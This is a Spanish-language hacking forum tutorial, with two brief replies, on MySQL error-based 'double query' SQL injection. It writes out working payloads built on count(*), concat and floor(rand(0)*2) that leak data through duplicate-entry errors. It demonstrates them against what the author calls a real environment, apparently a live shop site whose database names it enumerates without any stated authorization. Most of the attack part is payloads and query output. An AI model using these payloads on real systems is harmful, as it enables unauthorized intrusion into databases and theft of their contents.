Mysql injection avanzada: "doble query/error based"

Iniciado por q3rv0, Agosto 02, 2012, 06:42:46 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Agosto 02, 2012, 06:42:46 PM Ultima modificación: Noviembre 23, 2014, 01:07:03 PM por Expermicid
Hola nuevamente y bienvenidos a todos a un nuevo tutorial sobre inyecciones mysql, solo que en este post vengo a exponer otro tipo de tecnica "MYSQL ERROR BASED", no encontre ninguno en español, y poco se explica de este tipo de inyecciones en papers en ingles, asi que
me dispongo a desmembrar la estructura del ataque con los conociemiento que poseo en el lenguaje mysql.

Antes que nada, es necesario que sepan sobre inyecciones simples usando las clausulas "union+select".

Se utilizara un entorno real para elaborar el tutorial.



Buscando errores del tipo mysql y una vez encontrado el script vulnerable, me dispongo a comenzar la inyeccion.

Código: php
/shop.php?pid=1 order by 2--
error!





1 columna!


Entonces comenzamos con la tecnica "union select"

Código: php
/shop.php?pid=1 union select 1--
      error!.. :(



Definitavamente no recivimos ningun dato de la columna para poder realizar la inyeccion, mas que un error.

Que hacemos entonces????

En esta situaciones, mas de uno agarrara el havij o  el nmap, y si! obtendra resultados, pero se preguntara como los obtuvo?
de que me estoy perdiendo? como era la inyeccion en si?

Basicamente la inyeccion es esta.
Código: php

1 and (select 1 from (select count(*),concat((select (select concat(user())) from information_schema.tables limit 0,1),
floor(rand(0)*2))columna from information_schema.tables group by columna)tabla)--


complicadita de entender a simple vista??

Con esta sentencia obtenemos el usuario que corre en la base de datos.




Pero que paso, como dije anteriormente, a esta tecina se le llama "doble query/error based" por lo tanto engañamos a la base de datos, con una doble consulta, para que en el error 1062 (Duplicate entry) nos revele el resultado de la inyeccion. Algo similar pasa en las inyecciones myssql.

Pero vallamos mas en profundidad.

Hay un par de funciones que llaman la atencion y son rand() y floor()

Para que sirven?

rand(): Nos devuelve un valor aleatorio en punto flotante en el rango 0 a 1.0. por ejemplo.

Código: php
mysql> select rand(20);
+-------------------+
| rand(20)          |
+-------------------+
| 0.158882612510475 |
+-------------------+
1 row in set (0.00 sec)

mysql>


floor(): retorna el valor entero mas grande pero no mayor a la variable que se le pase.

Código: php
mysql> select floor(5.65);
+-------------+
| floor(5.65) |
+-------------+
|           5 |
+-------------+
1 row in set (0.00 sec)

mysql>


Lo que mas me costo entender no fue como funcionaban ambas funciones floor(rand(0)*2) si no que fue para que se incluian dentro de la
sentencia.

Podemos ver que el resultado de combinar ambas es igual a 0.

Código: php
mysql> select floor(rand(0)*2);
+------------------+
| floor(rand(0)*2) |
+------------------+
|                0 |
+------------------+
1 row in set (0.00 sec)

mysql>


El funcionamiento seria de la siguiente manera, rand() genera un valor aleatorio a partir de 0.

Código: php
mysql> select rand(0);
+-------------------+
| rand(0)           |
+-------------------+
| 0.155220427694936 |
+-------------------+
1 row in set (0.00 sec)

mysql>


ese valor se multiplica 2 (*2)

Código: php
mysql> select (rand(0)*2);
+-------------------+
| (rand(0)*2)       |
+-------------------+
| 0.310440855389871 |
+-------------------+
1 row in set (0.00 sec)

mysql>


Por ultimo floor() nos da el valor entero mas grande pero no mayor.

Código: php
mysql> select floor(0.310440855389871);
+--------------------------+
| floor(0.310440855389871) |
+--------------------------+
|                        0 |
+--------------------------+
1 row in set (0.00 sec)

mysql>


El fucking 0!

Ahora como influye este 0 con el resultado de la inyeccion? influye generando el error en la consulta.

Si comenzamos a realizar inyecciones vemos que solo una parte varia, y es el primer query, donde realizaremos nuestras consultas a la base de datos

1 and (select 1 from (select count(*),concat((select (INJECTION),
floor(rand(0)*2))columna from information_schema.tables group by columna)tabla)--


=============================
Enumeracion de db's
=============================

Código: php
1 and (select 1 from (select count(*),concat((select (select concat(schema_name)) from information_schema.schemata limit 0,1),
floor(rand(0)*2))columna from information_schema.tables group by columna)tabla)--



Database: information_schema

Código: php
1 and (select 1 from (select count(*),concat((select (select concat(schema_name)) from information_schema.schemata limit 1,1),
floor(rand(0)*2))columna from information_schema.tables group by columna)tabla)--




Database: appcraft7_appcra



Vamos variando el resultado utilizando la funcion limit.

Asi podemos ir enumerando las tablas dentro de appcraft7_appcra, obteniendo informacion de columnas y campos dentro de las tablas, etc.

Espero que les haya sido de utilidad! un saludo comunidad!





Web: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Twitter: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Muy buen aporte! Gracias!

Entonces él dijo, "cruzad con vuestras tropas y atacad porque es lo único que le queda a nuestro pueblo...".

claro muchas veces me pregunte como el havij pasaba los injection y recuperaba datos, muy buen dato